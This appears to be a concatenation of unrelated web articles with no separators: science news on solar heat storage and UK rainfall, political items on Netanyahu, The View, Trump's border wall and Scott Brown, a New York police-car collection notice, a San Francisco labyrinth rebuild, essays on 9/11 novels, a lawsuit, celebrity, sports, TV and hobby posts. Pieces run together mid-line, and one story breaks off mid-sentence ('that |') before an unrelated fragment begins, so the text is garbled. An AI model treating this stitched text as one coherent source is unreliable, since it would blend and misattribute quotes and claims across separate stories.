AdvertisementsAn advance in the storage of concentrated solar thermal energy may reduce reduce its cost and make it more practical for wider use. Credit: Kelvin Randhir, University of Florida Engineers at Oregon State University have identified a new approach for the storage of concentrated solar thermal energy, to reduce its cost and make it more practical for wider use.
The advance is based on a new innovation with thermochemical storage, in which chemical transformation is used in repeated cycles to hold heat, use it to drive turbines, and then be re-heated to continue the cycle. Most commonly this might be done over a 24-hour period, with variable levels of solar-powered electricity available at any time of day, as dictated by demand.
The findings have been published in ChemSusChem, a professional journal covering sustainable chemistry. The work was supported by the SunShot Initiative of the U.S. Department of Energy, and done in collaboration with researchers at the University of Florida.
Conceptually, all of the energy produced could be stored indefinitely and used later when the electricity is most needed. Alternatively, some energy could be used immediately and the rest stored for later use.
Storage of this type helps to solve one of the key factors limiting the wider use of solar energy - by eliminating the need to use the electricity immediately. The underlying power source is based on production that varies enormously, not just night and day, but some days, or times of day, that solar intensity is more or less powerful. Many alternative energy systems are constrained by this lack of dependability and consistent energy flow.
Solar thermal electricity has been of considerable interest because of its potential to lower costs. In contrast to conventional solar photovoltaic cells that produce electricity directly from sunlight, solar thermal generation of energy is developed as a large power plant in which acres of mirrors precisely reflect sunlight onto a solar receiver. That energy has been used to heat a fluid that in turn drives a turbine to produce electricity.
Such technology is appealing because it's safe, long-lasting, friendly to the environment and produces no greenhouse gas emissions. Cost, dependability and efficiency have been the primary constraints.
"With the compounds we're studying, there's significant potential to lower costs and increase efficiency," said Nick AuYeung, an assistant professor of chemical engineering in the OSU College of Engineering, corresponding author on this study, and an expert in novel applications and use of sustainable energy.
"In these types of systems, energy efficiency is closely related to use of the highest temperatures possible," AuYeung said. "The molten salts now being used to store solar thermal energy can only work at about 600 degrees centigrade, and also require large containers and corrosive materials. The compound we're studying can be used at up to 1,200 degrees, and might be twice as efficient as existing systems.
"This has the potential for a real breakthrough in energy storage," he said.
According to AuYeung, thermochemical storage resembles a battery, in which chemical bonds are used to store and release energy - but in this case, the transfer is based on heat, not electricity.
The system hinges on the reversible decomposition of strontium carbonate into strontium oxide and carbon dioxide, which consumes thermal energy. During discharge, the recombination of strontium oxide and carbon dioxide releases the stored heat. These materials are nonflammable, readily available and environmentally safe.
In comparison to existing approaches, the new system could also allow a 10-fold increase in energy density - it's physically much smaller and would be cheaper to build.
The proposed system would work at such high temperatures that it could first be used to directly heat air which would drive a turbine to produce electricity, and then residual heat could be used to make steam to drive yet another turbine.
In laboratory tests, one concern arose when the energy storage capacity of the process declined after 45 heating and cooling cycles, due to some changes in the underlying materials. Further research will be needed to identify ways to reprocess the materials or significantly extend the number of cycles that could be performed before any reprocessing was needed, AuYeung said.
Other refinements may also be necessary to test the system at larger scales and resolve issues such as thermal shocks, he said, before a prototype could be ready for testing at a national laboratory.
Explore further: Testing heats up at Sandia's Solar Tower with high temperature falling particle receiver
More information: Nathan R. Rhodes et al. Solar Thermochemical Energy Storage Through Carbonation Cycles of SrCO /SrO Supported on SrZrO, ChemSusChem (2015). DOI: 10.1002/cssc.201501023Fears have been raised that the UK could soon see a repeat of the sort of flooding that has hit in recent years after forecasters predicted a one-in-three chance there would be a new record set for monthly rainfall during coming winters.
The Met Office used a supercomputer to simulate possible extreme weather conditions to help build up a picture of what was likely to befall the UK. Forecasters found a 7% chance of a monthly rainfall record being set in the south-east. This rose to 34% once other regions of England and Wales were taken into account.
“Our analysis showed that these events could happen at any time and it’s likely we will see record monthly rainfall in one of our UK regions in the next few years,” said Dr Vikki Thompson, the lead author of a report published in the journal Nature Communications.
Since the sort of extreme conditions being studied are relatively rare, the team needed more than the data they could get from observed records.
Prof Adam Scaife, who leads this area of research at the Met Office, said a new supercomputer was used to simulate thousands of possible winters, “some of them much more extreme than we’ve yet witnessed. This gave many more extreme events than have happened in the real world, helping us work out how severe things could get.”
The results demonstrated the likelihood of “one or more monthly regional rainfall record events” in a given winter, the Met Office said. It added that its method could also be “applied to assess other risks such as heatwaves, droughts, and cold spells and could help policymakers, contingency planners and insurers plan for future events”.
Severe rainfall has caused widespread flooding in the UK in recent years; notably in the north-west of England in the winter of 2015-16 and in the south-east in 2013-14. Cleanup costs in the Thames Valley alone on that occasion were estimated to be more than £1bn.
Richard Allan, professor of climate science and joint head of the department of meteorology at the University of Reading, said exceptional seasonal rainfall in the UK was the result of a “perfect storm” of atmospheric influences.
“Using serious number crunching power, the new study plays back thousands of possible weather patterns that emerge from detailed computer simulations of recent decades, some of which produce more extreme rainfall events than have actually been experienced to date.
“The work complements evidence that warming of climate is already causing extreme rainfall events to intensify.
“As the planet continues to warm due to human-caused greenhouse gas emissions, extra moisture in the air will fuel increasingly intense rainfall causing a continued rise in the risk of damaging events into the future.”
His colleague, Prof Len Shaffrey, from the university’s National Centre for Atmospheric Science, added: “Using weather and climate models to better understand the probability of extreme weather is an important method that is becoming more widely used to help inform those dealing with weather impacts about the risks of extreme events.
“Future research needs to evaluate how well weather and climate models are able to accurately simulate other extreme weather events, for example droughts and heatwaves, if we want to use models to better understand extreme weather risks and how they might be changing.”This article is over 2 years old
Justice ministry provides no details about substance of inquiry and says no criminal investigation has been launched
Israel’s attorney general has ordered an inquiry into “matters” related to the prime minister, Binyamin Netanyahu, the justice ministry said on Sunday, without saying what they were.
Israel has turned right and exposed the battle within | Jonathan Freedland Read more
The terse statement followed days of Israeli media speculation about possible official suspicions of misconduct by Netanyahu or by people close to him.
Through his lawyer, Netanyahu – now serving his fourth term as prime minister – has denied any wrongdoing.
The decision of the attorney general, Avichai Mandelblit, followed “the receipt of information about matters that relate, inter alia, to the prime minister” and which he has discussed with senior Israeli police and prosecutors, the statement said.
“It should be emphasised that this is an inquiry and that no criminal investigation has been launched regarding the prime minister,” it said.
An inquiry can be a preliminary stage of a criminal investigation.
The statement described the media reports on the case as “inaccurate, to say the least” but said Mandelblit could not comment further at this stage.
First elected to Israel’s top office two decades ago, Netanyahu has weathered several scandals, including a police investigation and state audits of his family’s spending.On Tuesday’s The View, host Whoopi Goldberg openly admitted that she couldn't care less if the DNC rigged the system, because it was at the expense of “a white guy.” After revealing emails broke last Friday showing DNC officials had conspired to defeat Bernie Sanders, the ladies at the View became angry at Sanders supporters disrupting the Democratic Convention with their booing. Whoopi became enraged and ranted that they should be supporting Hillary Clinton because, “[The system] has been rigged against women for years!”
The panel dismissed the ethics involved in Democratic party officials trying to rig an election. Instead, Whoopi argued, “all these wonderful young people” should be behind “the first female that actually might become President.”
She added, “[T]o boo someone who has had just as difficult a time getting to where she's getting to, she wasn't born with a silver spoon!”
Joy Behar agreed, echoing a similar line Whoopi said just a few weeks ago on the show: “He has not been vilified for the past 25 years the way she has by the Republican party.”
Whoopi continued her exasperated rant at Sanders supporters:
WHOOPI: I don't get it. Because you all like to talk about how the system is rigged. The system has been rigged forever. It's been rigged against women for years. For years.But, you know, I don't remember anybody booing about that…[T]his idea that you didn't know the system was rigged do your homework. It's been rigged for years.
In that case, Whoopi bluntly said:
So I can’t look at those and get mad. I can’t get mad that the system is rigged against the white guy. I can’t.
Behar continued with the race-baiting, stating that Trump probably “doesn’t want black people in the White House anymore.” Whoopi added her own ridiculous statement laced in profanity:
WHOOPI: When Mitch McConnell said five minutes after Obama was elected we're going to make this a one-term, do everything we can to get another Republican in the White House, as soon as he said that, I thought you know what, as a party, [mouths “F”] to you.
Not only is Whoopi, like Behar, insinuating racism where there is none, she is grossly exaggerating the time frame of McConnell’s statement. Her “five minutes” was more like two years into Obama’s first term. But no matter. It’s not like we can expect the panelists at The View to be beholden to facts.Kate Ahlers, a spokeswoman for the Law Department, said the notice had been sent in error after her department received a referral from a unit of the Police Department. “We regret that Mr. Robinson’s family received a collection notice,” she said in a statement, adding, “We recognize that this involves a tragic case.”
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At a news conference on Friday and in an interview afterward, Ms. Dobbinson, 45, a driver for the Access-a-Ride service for people with disabilities, said she felt “disrespected” by the letter.
“I was humiliated that they’re sending my son a letter for the car that killed him,” she said, her voice faltering with emotion. “They killed him; let him rest in peace.”
Her lawyer, Sanford Rubenstein, called the collection effort a “disgrace” and “heartless.”
“How dare the City of New York direct their lawyers to demand money and threaten collection procedures for property damage to a police car which struck and killed Tamon Robinson under circumstances in which the actions of the police officer operating the police car that night are the subject of a criminal investigation,” Mr. Rubenstein said in a statement.
“They have to realize this letter will be received by his mother, who is still grieving his wrongful death,” he added.
The existence of the letter was reported on Friday by The Daily News.
Cristina Gonzalez, a lawyer for the collection firm, Linebarger Goggan Blair & Sampson, said that it had received the Robinson case as one of a number of collection cases referred by the city and the Police Department, but that once it became aware that Mr. Robinson had died, it “ceased collection.”
“We were not aware of the circumstances,” Ms. Gonzalez said. “This type of receivable is not something we pursue when the alleged debtor is deceased.”
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Mr. Robinson, 27, a muffin shop cashier, was killed in the early morning hours of April 12 when he tried to flee police officers who had spotted him digging up decorative paving stones from the grounds of the Bayview Houses in Canarsie, Brooklyn, where his mother lived.
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Mr. Robinson illegally dug up cobblestones and sold them to scrap dealers, a sideline that had gotten him arrested numerous times.
The officers followed him for about 100 yards in their car, turned up a fenced-in sloping walkway to the front door of his mother’s apartment building, then veered into his path. The result was a collision that left a large dent on the driver’s side of the car just above one of the front tires.
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Police officials have labeled the death an accident, and the initial police report said Mr. Robinson “did run into the side” of the police car and fell backward onto the pavement, causing the fatal injuries to his head.
An autopsy report released in June by the city medical examiner’s office found that Mr. Robinson had sustained “blunt-impact injuries of the head, torso and extremities,” including “traumatic brain injury” and several hemorrhages. It described the manner of death as an “accident (struck by police vehicle during pursuit).”
Mr. Rubenstein, raising the issue of what he called a police cover-up, said the “head injuries were inconsistent with Tamon running into a car.”
Mr. Rubenstein has filed notice that he will file a lawsuit on behalf of the family seeking $20 million for what he termed a wrongful death. The episode is also under investigation by the Brooklyn district attorney’s office.Rebuild date announced for Lands End labyrinth
A rock labyrinth at San Francisco's Lands End was destroyed on Aug. 11, 2015. Vandals removed nearly every single rock. A rock labyrinth at San Francisco's Lands End was destroyed on Aug. 11, 2015. Vandals removed nearly every single rock. Photo: @StefStar Photo: @StefStar Image 1 of / 15 Caption Close Rebuild date announced for Lands End labyrinth 1 / 15 Back to Gallery
If you rebuild it, they will come.
The caretaker of San Francisco's Lands End labyrinth that was vandalized last week has picked a rebuild date.
Colleen Yerge is inviting anyone who is willing to help carry rocks to gather on the morning of Sept. 13.
The rock labyrinth that's perched on a craggy ledge hanging over the Pacific Ocean was destroyed in the middle of the night on Aug. 11. The rocks that were carefully organized into 11 concentric circles were thrown into the ocean, and now only the outline of the labyrinth remains traced in the dirt.
After the incident, Yerge was overwhelmed with emails and calls from people expressing their love for the place and encouraging her to rebuild.
"People are sharing their stories about what that place means to them," Yerge said in an interview. "It's really so heartwarming. It's touching people in so many ways. It's beyond words."
Yerge was contacted by news stations, school principals, and a landscaping company that offered to donate rocks. Someone wants to DJ on the day of the rebuild and another person hopes to conduct a tea ceremony. There was an offer for an after-party at a nearby house.
"This is my gift to the people of San Francisco," Yerge said. "I was kind of like whatever you want to do. We can have a good time. It is San Francisco after all."
Yerge sent out an Evite for the rebuild and 50 people have already signed up to help.
The labyrinth might be one of San Francisco's best kept secrets. Following its twisting path, you can take in sweeping views of the Golden Gate Bridge and listen to the crashing waves below. Locals come here in search of serenity and for meditative walks.
"A lot of people, when they're sad or down, they go there, and it fills them up," Yerge said. "It's the most beautiful place ever—just looking out there."
The labyrinth was originally created by Eduardo Aguilera in 2004 and Yerge, who also works as a doula, began helping with upkeep in 2008. (The San Francisco Chronicle produced a video documentary about Yerge's devotion to the labyrinth earlier this year.)
Over the years, the work of art has been destroyed and rebuilt many times, but this year the vandals have been relentless. Yerge rebuilt the labyrinth in January and April, carrying hundreds of pounds of rocks in a traveling backpack from Mile Rock Beach. The damage is far worse this time.
"Normally when it's destroyed, only a quarter of the rocks are removed," Yerge said in an interview. "This time they removed every single rock."
The first time Yerge was confronted by vandalism in 2011 she was devastated, but she has since learned to accept the damage.
"The labyrinth is there as a sign of peace, love and enlightenment for all," shared in statement with the Richmond District Blog. "And especially for those that are suffering so much. So even when it is destroyed after I put over 40 hours of carrying rocks and assembling the piece, I still have compassion for whoever did it."
In the past, the rebuild has taken two or threes days. After the labyrinth was destroyed last spring, only five people showed up to help, but with news of the most recent vandalism spreading across social media this week, she's confident a large crew will allow complete the project in a day.
"I've been telling people that I don't want to focus on the vandalism because that's so negative," Yerge said. "I want to focus on the positive and this is beyond positive because the community has come around this. It's really incredible."
Labyrinth rebuild details: 10 a.m. to 5 p.m. at the Lands End labyrinth. Bring water, bag lunch, a jacket, a backpack for carrying rocks and a smile.Thousands of people have visited the memorial site, conspiracy theories continue to proliferate and for many the sense of loss is still visceral. After 15 years, the terrorist attack that destroyed the Twin Towers of the World Trade Center in New York continues to capture the imagination.
Over these 15 years, a diverse range of artistic and cultural responses have attempted to understand and give meaning to the events now known as 9/11. One medium that has had substantial critical attention has been the novel. And we can learn much from this attention. The ways in which these novels were anticipated, criticised and frequently linked to debates about the wider role of fiction in society evoke compelling questions about how we now see the attacks.
In some ways, the high profile critical debates that surrounded these novels and placed so much importance on them, actually reinforced George W Bush’s assertion that “on September 11 night fell on a new world”. And in doing so, some argue that they undercut the complex prehistories and aftermaths of 9/11, giving it inflated importance in the world narrative.
Writing terror
Even before there were such novels, the apparent need for literary interpretations of the attacks reflected just how incomprehensible they felt for many. And perhaps because 9/11 was such a visual spectacle, newspapers and magazines sought literary authors – experts at exploring the human condition through the written word – to interpret or narrate the trauma.
Early essays by Ian McEwan, Don DeLillo, Martin Amis and John Updike spoke to other popular non-fiction responses, like the New York Times’ sombre Portraits of Grief profiles that appeared throughout the autumn of 2001. These literary authors also reflected on the difficulty of writing fiction about “unimaginable” events. This, of course, stoked anticipation for the inevitable 9/11 fiction to come: how would authors attempt to represent the “incomprehensible”?
When novels from DeLillo, Claire Messud, Jay McInerney and Ken Kalfus arrived, critics were quick to note striking similarities. These novels, all of which appeared between 2006 and 2007, focused on the ways privileged white New Yorkers dealt with trauma. And all of them did so through marriage or relationship narratives.
Discussing these novels in an article titled The End of Innocence, Pankaj Mishra asked with incredulity: “Are we meant to think of marital discord as a metaphor for post-9/11 America?” For Mishra, it was particularly galling that DeLillo – who has been so insightful about terrorism – was “retreating like McInerney and Kalfus into the domestic”.
Scholarly articles by Richard Gray and Michael Rothberg followed, similarly criticising those same novels for their “failure” to engage with otherness and the geopolitics of 9/11. Gray was trenchant: “The crisis is in every sense of the word, domesticated.”
Mishra, Gray and Rothberg all felt that fiction should be doing things that the mainstream media and US government responses were not – offering nuanced articulations of the geopolitics of the war on terror and the rise of fear and xenophobia in the US and the West.
But this position was challenged by scholars such as John Duvall and Robert P Marzec, who pointed to canonical novels like Virginia Woolf’s Mrs Dalloway (1925) and Ernest Hemingway’s The Sun Also Rises (1926), which registered the traumas of World War I precisely in this way – through domestic settings. Perhaps the strongest response came from Catherine Morley, who criticised the Mishra, Rothberg and Gray perspective that “fiction is no more than a political tool”.
Clearly, the debate about the 9/11 novel evoked larger ideas about what fiction is for and how it should deal with crisis or catastrophe in the 21st century.
A defining moment?
However polarised the debate became, both sides ascribed great importance to the 9/11 novel – and in doing so they also reinforced the idea of 9/11 as a defining moment. In 2008, this was pointed out by Zadie Smith. Discussing a new novel by Joseph O’Neill, Smith sardonically criticised the disproportionate interest in the 9/11 novel:
It’s the post–September 11 novel we hoped for. (Were there calls, in 1915, for the Lusitania novel? In 1985, was the Bhopal novel keenly anticipated?) It’s as if, by an act of collective prayer, we have willed it into existence.
The reference here to the Lusitania sinking and the Bhopal chemical disaster in India, which took the lives of many more people than 9/11 did, is pointed. Smith is clearly voicing a suspicion that the intense attention attached to the 9/11 novel is linked to an American exceptionalism that shrouds other moments, events and perspectives in contemporary history.
Recent books like Mohsin Hamid’s The Reluctant Fundamentalist, O’Neill’s Netherland and Amy Waldman’s The Submission have answered the calls of Mishra, Gray and Rothberg in their more politically engaged or international narratives.
In many ways, they have also retained aspects of the earlier texts and we can certainly now see the 9/11 novel as a genre. Marriages and relationships are at the centre of all of these novels and they also continue to explore the way privileged Americans absorb and respond to trauma.
Perhaps the book that most clearly aligns with Zadie Smith’s position, though, is Thomas Pynchon’s Bleeding Edge. Bleeding Edge goes the furthest in challenging the singular importance attached to 9/11 in its intertwined historical narrative, weaving in the significance of the collapse of the dotcom bubble in 2000 and a history of the internet’s transition from an anarchic to a completely corporate space.
It is certainly the case that the reception and debates around the 9/11 novel have been as informative as the novels themselves. The genre continues to provide food for thought on how we remember the attacks.A group of companies run by TV personality Mike Holmes has gone to court to obtain $234,000 from the Winnipeg firm developing the Fort Rouge Yards.
The Holmes Group, a conglomerate of companies belonging to professional contractor and Holmes On Homes star Mike Holmes, filed a statement of claim before Manitoba's Court of Queen's Bench on May 30.
The suit alleges developer Gem Equities failed to compensate Holmes for services conducted for a residential development at the Fort Rouge Yards, an infill development west of the Lord Roberts neighbourhood, alongside the first phase of the Southwest Transitway.
In the statement of claim, the Holmes Group said it was retained in 2013 to work on a development called the Yards at Fort Rouge.
"We're working with the land and building homes that make sense, for homeowners and the environment," the Holmes Group stated in a press release about the Yards at Fort Rouge in 2013. It described the project as "energy efficient townhomes within a walkable community that has access to existing neighbourhood amenities, including rapid transit, bike paths and green spaces."
In its statement of claim, the Holmes Group said it provided design, consultation and inspection services until Nov. 1, 2016. The Holmes Group claims it billed Gem Equities for $102,000 and placed a lien against the property when it was not paid.
"My client was hired to provide very specific services," said Richard Beamish, Winnipeg legal counsel for the Holmes Group. "They were not involved in a joint venture."
The Holmes Group is seeking $234,000 for payment, damages, interest and legal costs, according to the statement of claim.
The allegations have not been proven in court and no statement of defence has yet been filed. Gem Equities owner Andrew Marquess has not yet responded to requests for comment.
Marquess has been trying to transform the Fort Rouge Yards since 2009 into a 900-unit residential development featuring a mix of townhouses, mid-rise apartments and highrises.
Gem Equities received council approval for its plan in 2010. It started marketing units in what used to be known as the Yards at Fort Rouge in 2013.
Workers are putting the finishing touches on the Jubilee Winnipeg condo project at the south end of the Fort Rouge Yards. (Bartley Kives/CBC) In 2016, Gem Equities' lender, First National Financial, hired Winnipeg developer Sunstone to complete the first 40 units at the site and rebrand the project as Jubilee Winnipeg, after Jubilee Station — the southernmost of four stops along the Southwest Transitway.
Some of the Jubilee Winnipeg units will be finished later this month and the rest will be finished in early July, said Sunstone chief executive officer Bill Coady.
The development of the Fort Rouge Yards is of strategic importance to the City of Winnipeg, which is relying on development along the Southwest Transitway to increase residential density.
The highlighted area shows the location of the Jubilee Winnipeg project. (CBC News) Another developer, Streetside Developments, has completed 87 condo units next to the Fort Rouge Station on the Southwest Transitway. Forty of those units are townhouse-style condos in a development called Parkline. Another 47 apartment-style condos are completed in what's been dubbed the Metro development.
Streetside has also poured the foundation for another 10 Parkline units, said Rhonda Funke of Rancho Realty.
Gem Equities has a long-term plan to develop the long swath of land between the Streetside projects and Jubilee Winnipeg.Even the most lucid observer of the Trump phantasmagoria must sometimes wonder if they’re losing their grip on reality. Today’s cure for wellness involves Trump’s signature campaign pledge: the Wall. As you may recall, in the halcyon days of 2015, Donald Trump kicked off his campaign by promising to “build a great, great wall on our southern border” and—in a stroke of political genius—“I will have Mexico pay for that wall.” Former Mexican president Vicente Fox responded that Mexico would not, in fact, “pay for that f*cking wall,” a stance reiterated by current president Enrique Peña Nieto, who canceled a trip to D.C. after Trump threw a fit on Twitter and told him not to come if those Mexican “rapists” and “criminals” wouldn’t cough up the necessary pesos.
This charade continued for months—Trump toyed with the idea of hitting Mexico with tariffs or seizing remittances—before eventually abandoning the idea, sort of. “The dishonest media does not report that any money spent on building the Great Wall (for sake of speed), will be paid back by Mexico later!” he tweeted in January, shortly before taking office. But getting Congress, via taxpayers, to fund The Wall has not been as easy as Trump hoped. Which is why on Tuesday night, at a campaign-style rally in Arizona, the president of the United States revived his pledge, this time threatening to hold the federal government hostage if Congress fails to pass a spending bill that includes $1.6 billion for its construction. “If we have to close down our government, we’re building that wall,” Trump said. “One way or the other, we’re going to get that wall.”
It was a threat that spooked investors and lawmakers alike, with members of Trump’s own party putting the chances of him letting the government shut down at 75 percent. And then, to add a new layer of W.T.F. to the situation, this scene unfolded at the White House Thursday afternoon:
During a briefing Thursday, reporters repeatedly pushed press secretary Sarah Huckabee Sanders about why Trump would threaten a shutdown after he promised as a candidate that Mexico would fund the wall. Mexican President Enrique Peña Nieto has insisted that Mexico will not pay for the project, and Trump himself appeared resigned to that during a private call with his counterpart. Asked multiple questions about the pledge to make Mexico pay, Sanders first responded that Trump would make sure the wall gets completed and that he would fight for the funding. “The president’s committed to making sure this gets done,” she said, without addressing how the United States’ southern neighbor would fit in.
Pressed again about the project, she said, “I certainly don’t think any efforts have been abandoned” to force Mexico to pay for the barrier. Later, when a reporter noted that Trump has stopped saying Mexico would fund the wall, Sanders responded: “He hasn’t said they’re not, either.”
So, you see, claiming he’s going to let the government close if Congress doesn’t pony up the money is just a backup plan, on the off chance that Mexico doesn’t pay for something that it has said, repeatedly and emphatically, there’s no way in hell it will pay for.
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Louise Linton Instagram-gate takes an unexpected turn
Earlier this week, Louise Linton, wife of Treasury Secretary Steven Mnuchin, posted a picture to Instagram of herself and her husband getting off of a government plane following their #daytrip to Kentucky, tagging every designer brand she was wearing. (Our conservative estimate put the entire ensemble at around $13,775.) It didn’t go over well. But what really riled the Internet hordes was Lady Linton’s response to a stranger’s comment (“glad we could pay for your little getaway”), wherein the Scottish-born actress simultaneously complained about how much she “sacrifices” in taxes and shamed the commenter for not being as rich, suggesting that she and Mnuchin—whose fortune comes from his time as a partner at Goldman Sachs and presiding over a “foreclosure machine”—do more for the country than poor people ever will. “You’re adorably out of touch,” she added, without a hint of irony.
Later, after Linton deleted the tirade and made her account private, it was reported that the couple would reimburse the Treasury for transportation costs when she travels with the secretary on official business. Through a publicist, Linton apologized for her post and response, saying “it was inappropriate and highly insensitive” (which was similar to the apology she issued after offending the entire country of Zambia). And yet the plot continues to thicken:
On Thursday, CNBC reported that the watchdog group Citizens for Responsibility and Ethics in Washington (C.R.E.W.), had F.O.I.A.’d the Treasury for records relating to the “authorization for and the costs” of the #daytrip to Lexington, Kentucky, where the pair ostensibly traveled to visit the government’s gold stored in Fort Knox. C.R.E.W.’s hunch? That the jaunt didn’t actually have any real purpose beyond the opportunity for Mnuchin and Linton to be in a prime viewing location for Monday’s eclipse (Fort Knox’s location happened to be in the path of the totality.)
“A number of things don’t quite add up,” the organization’s director of communications, Jordan Libowitz, told me. “First, why was [Mnuchin] going to inspect the gold in the first place? He’s the first treasury secretary to visit [the gold vault] in nearly 70 years. No one has gone since 1948.” Second, Libowitz said, if this was “purely a government exercise, why was his wife coming along?” Third, given that the couple subsequently said they would reimburse the Treasury for Linton’s costs, “they knew this was an inappropriate use of taxpayer money. So we’ve requested the info and are... asking questions. We’re not saying this happened, [but] we’re saying this may have happened.”
We report, you decide.
“There has been irresponsible and erroneous reporting around Secretary Mnuchin’s recent trip to Kentucky that |
National Journal. “The conduct of these individuals goes far beyond what is appropriate and proper in political discourse.”
“The use of stereotypical ‘war whoop chants’ and ‘tomahawk chops’ are offensive and downright racist. It is those types of actions that perpetuate negative stereotypes and continue to minimize and degrade all native peoples.”
“We need individuals in the United States Senate who respect Native Americans and have an understanding of tribal issues,” he added. “For that reason, I call upon Sen. Brown to apologize for the offensive actions of his staff and their uneducated, unenlightened and racist portrayal of native peoples.”
For his part, Brown has refused to apologized for the actions of his staffers, but said it was “not something I condone.”
“The real offense is that (Warren) said she was white and then checked the box saying she is Native American, and then she changed her profile in the law directory once she made her tenure,” the senator insisted.
Brown’s statement underscores his recent tactic of attacking Warren on the issue of her heritage. A new Brown campaign ad is composed of news clips questioning Warren’s claims that her mother was part Cherokee and part Delaware Indian, which critics say she exploited for professional gain.
Warren responded with an ad explaining that her mother and father eloped because of disapproval on the part of her father’s family.
Watch this video, uploaded to YouTube on Sept. 25, 2012.
With earlier reporting by Arturo Garcia.Maybe you already loved Mark Ruffalo for his Bruce Banner roles or for the Thriller dance mob scene in 13 Going on 30 or his anti-fracking activism. Well, now you can add pro-choice advocate to the list of his feminist credentials.
The actor recently penned a very personal and touching letter to be read at a reproductive rights rally in Mississippi in support of the state’s remaining abortion clinic, the Jackson Women’s Health Organization. The state used to have 14 such clinics.
The letter spoke of his own mother’s illegal abortion, calling what happened to her as “a relic of an America that was not free nor equal nor very kind.” Here’s an excerpt:
I am a man. I could say this has nothing to do with me. Except I have two daughters and I have a mother who was forced to illegally have an abortion in her state where abortion was illegal when she was a very young woman. It cost $600 cash. It was a traumatizing thing for her. It was shameful and sleazy and demeaning. When I heard the story I was aghast by the lowliness of a society that would make a woman do that. I could not understand its lack of humanity; today is no different.
In a political milieu where reproductive rights are being chipped away bit by bit, the past Ruffalo describes is in danger of being repeated. It’s becoming increasingly important for people to bravely speak out, and we take our hats off to public figures who use their celebrity as a platform. Ruffalo is joining a growing club of celebrities who have publicly supported reproductive rights in the past year, including Meryl Streep, Amy Poehler, Martha Plimpton and Kevin Bacon.
Photo courtesy of joieimagery via Creative Commons 2.0.
Anita Little is the associate editor at Ms. magazine.Leather Shred dress in teal from ghee
Hey guys! I wanted to tell you all about an event that’s going on now. It’s called the Naughty Nitch Fashion Fair, and it runs until July 21 st (started on July 1st, so you should be good when it comes to lag). More information can be found here.
One of the stores participating at the fair is ghee, and what do they have, you ask? Well, the leather Shred dress is a mesh dress that comes in black, teal. & magenta. I have on the teal color above. This dress is materials enabled, so be sure to adjust your graphics accordingly so you will be able to see the full effects of the dress. I hear that there is a special light that you can attach so one can see materials without enabling high graphics? Let me know if you find it ^^
Also at the fair from ghee you have see-through crochet swimwear sets, a silk gown set, and a lovely Spike collection. You want to see what they look like? You will have to visit to see…and there may be a gift waiting for you as well! ^^
Styling Credits
Dress: ghee – Teal Leather Shred Dress (@ Naughty Nitch)
Skin: –Glam Affair – Summer skin – Jamaica 02 G
Hair:.:EMO-tions:. * HEAVEN*/black
Slink hands
Jewelry (+ feather cuffs): Chop Zuey – Carmen’s Escape
Makeup:
~Oceane~Bardot ES Noire
[mock]Oceans Breeze Heart’s Desire Makeover
–Glam Affair – Summer – Lipstick 13
Nails: ZOZ (Wet Steel polish)(at Oh My Gacha!)
Pose: Manifeste
AdvertisementsJack’s Journal: NHL Carolina Hurricane Player Nathan Gerbe
He plays in the NHL for the Carolina Hurricane. He played at Boston College and grew up in Oxford, Michigan, one of six kids. His parents were examples of good work ethic. He always wanted to play in the NHL, but he had some hills to climb. One of which is height. He is 5’4”, the smallest player ever in the NHL.
“You have to overcome a lot of obstacles and adversity. You fight that battle every day. Even now being in the NHL you have to prove yourself, even when I was 5 years old, I had that chip on my shoulder,” says Nathan Gerbe.
He has moved his family to Northern Michigan to enjoy the off seasons. But he still trains every day. The family just built a new home and the basement is Nathan's work out area. It has the standard weight and cardio training equipment. And just as you expect, Nathan goes hard.
“I go about an hour and a half a day. If I did more, my trainer would kill me. I use to train a ton. Probably four hours a day. But I realize you almost set yourself back,” says Nathan.
As the competition gets younger, Nathan has added a new trick to his program. He has installed synthetic ice in his basement. Something unusual even for a hockey player.
“This is where I do mainly all my shooting, small drills in and out of cones. Mainly for stick handling and skills of the game,” explains Nathan.
So the smallest player in the league, the kid who told teachers it didn't matter, he was going to play in the NHL. The young man who watched his mom work hard and care of six kids, trains, and wins.
Comments
commentsThe 100 may have left viewers wondering what happened to the rocket and bunker survivors, but we know at least one character who will live to see the ground again: Tasya Teles' Echo.
TVGuide.com can exclusively report that Teles has been promoted to a series regular for Season 5.
Teles joined the cast in Season 2 as an Ice Nation warrior who formed a brief alliance with Bellamy (Bob Morley) when they were imprisoned by the Mountain Men. However, in Season 3, Echo betrayed Bellamy by leading him and Octavia (Marie Avgeropoulos) into a trap. She again turned on Bellamy in Season 4 when she captured him and sent him to Roan (Zach McGowan) as a hostage. But after Roan's death and her exile from the bunker, Bellamy was still kind enough to offer Echo one of the spots on the rocket, which allowed them to escape Praimfaya and make it to the Ark.
Add the CW's Valor to your Watchlist now!
It's safe to say that when we next see Echo, six years after she left for space, she'll be a changed person. Having never left the ground before, Echo will have undergone the most dramatic adjustment to her new lifestyle — not to mention the fact that she'll likely have become quite friendly with her former political enemies, including Bellamy and Raven (Lindsey Morgan).
In fact, based on the chemistry she and Bellamy had in the finale, there's a chance they'll have become more than friends by the time the show picks back up. When asked about the future of Bellamy and Echo's relationship, showrunner Jason Rothenberg recently told TVGuide.com the two "have always had sparks" and that there's far more to see from them in Season 5. "It's been a long and winding road, and obviously that road's not over yet," Rothenberg said. "They're all together in a group in space, so you never know!"
Photo: Bettina Strauss/The CW
The 100 finale: All those major twists, explained
Six years is an extremely long time to be trapped in space together — far longer than Bellamy and Clarke (Eliza Taylor) ever spent on the ground. When the series returns, will Bellamy and Echo be dating? Will they be space married? Will they have their own little kid to match Clarke's new protégé Madi?
Whatever is going on, The 100 fans will be spending a lot of time with Echo next season, so start preparing yourselves accordingly.
The 100 Season 5 will premiere on the CW in 2018.
(Full disclosure: TVGuide.com is owned by CBS, one of the CW's parent companies.)Blender Timelapse: Low Poly Car Modeling
I want to share my Blender Timelapse Modeling video with you guys! Recorded the whole process of me Modeling a Low Poly Car in the Blender (2010 Chevrolet Camaro). Hope it gives you a better understanding how I do it. The whole process took my 6 Hours to model that.
There are a lot of ways modeling cars, and this is one of my ways to create Low Poly Cars. I think there is no perfect way to make them. Every time I create a new 3d car model, I try something different. It’s up to you how you like to model them. And the more cars you model, better you get at it. So keep modeling! There is no perfect time for it, just do it!
Check out my whole story how I’ve started in car modeling HERE!
Thank you for your time, and I hope that this Time-lapse video helped you a bit 🙂I know what makes you different. Each word, every part of speech, even the length of each sentence — none of these are random choices. They all form your unique writing identity. Unconscious. Distinctive. Memorable.
